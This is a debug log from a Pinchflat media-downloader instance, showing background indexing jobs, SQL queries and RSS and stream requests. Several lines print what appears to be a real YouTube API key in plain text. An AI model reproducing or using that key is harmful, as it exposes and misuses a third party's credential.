[debug] Fetching recent media IDs from YouTube API for playlist: UU0vBXGSyV14uvJ4hECDOl0Q 16:59:56.766 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:59:56.766 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:59:56.984 [debug] QUERY OK source="media_items" db=0.6ms idle=217.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [14, "uMhdcq2rqUU", "E5p4TgCNd1I", "NS1Qlu1JTOs", "Nx6ThYgEtg8", "yTD_VbxleZU", "AR-F8Ttpld8", "XQNhCU17ipM", "Hj_yRDR9EzE", "9KwLFC6RDGk", "qz9DvI-NY6k", "oCez-4XUoew", "5bsI3M44NWo", "AVd3ds5U2xc", "NQGYqypeUOs", "-SSI6E5QCOw", "j43j9iwU158", "-mKb75P7wT0", "mWFKVqtAkeI", "qUVsX49fNFw", "b1huB4CSzks", "bMPgRlgcJcE", "ssavPVf6JvE", "mrcnQu6Xfas", "W5fK8BmgBow", "3lJ5oT_JviI", "TpVM45JNupQ", "oMUaZsvJQVQ", "xVm6_IIrHc4", "XXrCAC6bUsk", "Y4IJxO518mI", "DsfsZQjOfu0", "1i8a24si74Y", "E2KfkGF77uo", "-iwvu0uozhs", "NqHoFbA7oEk", "y73SPpeDz2E", "864HSWFIBY4", "UASz0VPQEx4", "xmqvssSmphg", "2UUkewknce4", "-ltZwIdeREY", "vwTDiLH6mqg", "pbW1ySDef_E", "-8A7a3w-bZw", "Qnauk0wEerQ", "xP4hOcYKCTo", "OltyPPiWhqg", "1mNIvSanVR8", "AdJnqXLeth8", ...] 16:59:56.986 [debug] QUERY OK source="media_items" db=1.5ms idle=218.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [14] 16:59:56.987 [debug] QUERY OK source="tasks" db=0.1ms idle=220.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268368, 14, ~U[2026-10-09 21:59:56Z], ~U[2026-10-09 21:59:56Z]] 16:59:56.987 [info] {"args":{"id":14},"id":5268327,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":221571,"event":"job:stop","queue_time":621783,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:00.425 [info] {"source":"oban","duration":124,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:00:09.778 [info] {"args":{"id":12},"id":5268328,"meta":{},"system_time":1791583209778121768,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:09.778 [debug] QUERY OK source="sources" db=0.1ms idle=1431.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [12] 17:00:09.778 [debug] QUERY OK source="settings" db=0.1ms idle=1431.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:09.778 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1007.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:00:09.778 [debug] QUERY OK source="settings" db=0.0ms idle=6.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:09.778 [debug] Fetching recent media IDs from YouTube API for playlist: UU3KEoMzNz8eYnwBC34RaKCQ 17:00:09.779 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:09.779 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:00:09.915 [debug] QUERY OK source="media_items" db=0.5ms idle=135.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [12, "1MNtfa4Vz3A", "SMPOq2HLKUA", "J0Jqwz1TYWY", "pWDda2xpEMs", "T7iG4HQX1k0", "y5HI3H-HonQ", "BDp3y1ESUgs", "tQXkGF1aj6g", "Dr8H7Mk0mlQ", "r8fCHfCYDM8", "zNFfKizSREg", "wynxywGRI4s", "wJruCJeJfhs", "65-gDU6-KDk", "ESky67qiImY", "YH1c3ui1YSw", "JCDjCkqhVsY", "yD5jWchlMJU", "AvdTb-b0K1Y", "r_GPHfEGYs8", "asbD9Y76skM", "tPava4N8yTA", "zDjFEJc_Wko", "lKt1uRckoK0", "X_VZkrKSxuE", "ub4JMolyisQ", "yRqmozs41jw", "EUkZGw-Ogtw", "FcaiBjj8sFU", "wzDc7xge5YI", "DRIN_5Cyfdw", "8148SmsqtPM", "4Xv2V0Ci-lM", "qHEh5yYRVpg", "Ipkp8QTQWAo", "tpdd_YDkHHM", "u4f2nkXMrfo", "pNfgQ-KqHR4", "T_u143DsQMA", "UwXJe1PjsxQ", "Yc0D5TR3fc0", "-t6uMUCLPrE", "AtOWpZbW7TY", "D46EY7Jk95E", "ZouMQaeHss4", "BYlKyhWoaak", "GQyCEfs1Uvo", "FfStumRlass", "KhM0q0vsitA", ...] 17:00:09.916 [debug] QUERY OK source="media_items" db=0.5ms idle=136.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [12] 17:00:09.916 [debug] QUERY OK source="tasks" db=0.1ms idle=137.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268369, 12, ~U[2026-10-09 22:00:09Z], ~U[2026-10-09 22:00:09Z]] 17:00:09.917 [info] {"args":{"id":12},"id":5268328,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":138813,"event":"job:stop","queue_time":499863,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:10.779 [info] {"args":{"id":41},"id":5268329,"meta":{},"system_time":1791583210779307537,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:10.779 [debug] QUERY OK source="sources" db=0.1ms idle=862.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 17:00:10.779 [debug] QUERY OK source="settings" db=0.1ms idle=862.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:10.780 [debug] QUERY OK source="media_profiles" db=0.0ms idle=856.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:00:10.780 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:10.780 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 17:00:10.780 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:00:10.780 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:00:11.026 [debug] QUERY OK source="media_items" db=0.6ms idle=245.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "JzQIZDkMcGs", "FQmnCsKHeG4", "mDxWgesjlhk", "FYehYs0_1KY", "s_zRjrdFDSc", "RRrz6zuf6Ms", "WxhkLxoNKyM", "N2v0F3yDQqs", "vI34WDt4FIs", "2soMwflGs20", "8BnHbb9-pGQ", "A4jElvPYtBA", "dpy_KlWECoQ", "Lg__qeD2DME", "58B0tLPJCks", "ANs2vOmL5Ds", "yg5DTXQFo0A", "hfp0UFJYSa0", "NT5RQQvxt-Q", "i2Yucp8hNkQ", "KHmMhUnn9LA", "u1RphBMOI7I", "bpGWAQAXSgw", "8jitxV6EzIw", "CKeWRRzBzYM", "48OxK622Acw", "KP1yTKNgcGs", "szB93HcgTwA", "5MRtnqJZXMQ", "vvnXGva7F7s", "cowwaMFuCxI", "hDLWxg2jZuw", "Ugfy9IbfNJ4", "9yYf6Q1Ay9Y", "_oICJSV5GIk", "M4NaZ8oCVuA", "19X5MGLYsEc", "XEAA5G7Pg_k", "vK_30G0UBE8", "cMvgKmq5W0k", "-BhNFwmmO2w", "idQMPGx0dak", "I70OKWI0bdw", "98pFoaJbgpg", "MEUsYtWp1jU", "9i8mDxZqGq8", "cW-9xdvTrLU", "0-9BasVcJmQ", "hOKH5x9wbEY", ...] 17:00:11.027 [debug] QUERY OK source="media_items" db=0.8ms idle=246.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 17:00:11.028 [debug] QUERY OK source="tasks" db=0.1ms idle=248.0ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268370, 41, ~U[2026-10-09 22:00:11Z], ~U[2026-10-09 22:00:11Z]] 17:00:11.028 [info] {"args":{"id":41},"id":5268329,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":249202,"event":"job:stop","queue_time":418060,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:00:15.430 [info] {"source":"oban","duration":10316,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":9} 17:00:24.039 [info] GET /media/e4c254b9-31ac-4d35-b301-4d24e80be4ed/stream.mp4 17:00:24.039 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.stream/2 Parameters: %{"uuid" => "e4c254b9-31ac-4d35-b301-4d24e80be4ed"} Pipelines: [:maybe_basic_auth] 17:00:24.039 [debug] QUERY OK source="media_items" db=0.1ms idle=1692.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."uuid" = ?) ["e4c254b9-31ac-4d35-b301-4d24e80be4ed"] 17:00:24.039 [debug] Invalid range request for media item: e4c254b9-31ac-4d35-b301-4d24e80be4ed - serving full file 17:00:24.039 [info] Sent 200 in 652µs 17:00:43.272 [info] GET /sources/ddb05a95-3284-467b-8e82-eb2e6e446d3c/feed.xml 17:00:43.272 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "ddb05a95-3284-467b-8e82-eb2e6e446d3c"} Pipelines: [:maybe_basic_auth] 17:00:43.272 [debug] QUERY OK source="sources" db=0.1ms idle=1925.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["ddb05a95-3284-467b-8e82-eb2e6e446d3c"] 17:00:43.276 [debug] QUERY OK source="media_items" db=3.9ms idle=1468.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [25, 2000] 17:00:43.299 [debug] QUERY OK source="source_metadata" db=0.0ms idle=952.3ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [25] 17:00:43.299 [debug] QUERY OK source="media_metadata" db=0.0ms idle=952.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577905] 17:00:43.299 [info] Sent 200 in 27ms 17:00:45.440 [info] {"source":"oban","duration":9832,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 17:00:45.834 [info] GET /sources/be49242a-e234-4087-a8b9-7fa831077b1d/feed.xml 17:00:45.834 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "be49242a-e234-4087-a8b9-7fa831077b1d"} Pipelines: [:maybe_basic_auth] 17:00:45.834 [debug] QUERY OK source="sources" db=0.1ms idle=1487.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["be49242a-e234-4087-a8b9-7fa831077b1d"] 17:00:45.835 [debug] QUERY OK source="media_items" db=1.0ms idle=1487.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [39, 2000] 17:00:45.839 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1032.1ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [39] 17:00:45.839 [debug] QUERY OK source="media_metadata" db=0.0ms idle=398.9ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577516] 17:00:45.839 [info] Sent 200 in 5ms 17:01:00.427 [info] {"source":"oban","duration":183,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 17:01:00.543 [info] GET /sources/9780c114-461c-46c1-8ce2-ab0b457f4920/feed.xml 17:01:00.543 [debug] Processing with PinchflatWeb.Podcasts.PodcastController.rss_feed/2 Parameters: %{"uuid" => "9780c114-461c-46c1-8ce2-ab0b457f4920"} Pipelines: [:maybe_basic_auth] 17:01:00.543 [debug] QUERY OK source="sources" db=0.1ms idle=1196.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."uuid" = ?) ["9780c114-461c-46c1-8ce2-ab0b457f4920"] 17:01:00.546 [debug] QUERY OK source="media_items" db=2.3ms idle=1196.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? [9, 2000] 17:01:00.557 [debug] QUERY OK source="source_metadata" db=0.0ms idle=1210.4ms SELECT s0."id", s0."metadata_filepath", s0."fanart_filepath", s0."poster_filepath", s0."banner_filepath", s0."source_id", s0."inserted_at", s0."updated_at", s0."source_id" FROM "source_metadata" AS s0 WHERE (s0."source_id" = ?) [9] 17:01:00.557 [debug] QUERY OK source="media_metadata" db=0.0ms idle=734.1ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [1577912] 17:01:00.558 [info] Sent 200 in 15ms 17:01:14.844 [info] {"args":{"id":19},"id":5268330,"meta":{},"system_time":1791583274844877741,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:01:14.845 [debug] QUERY OK source="sources" db=0.1ms idle=498.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", 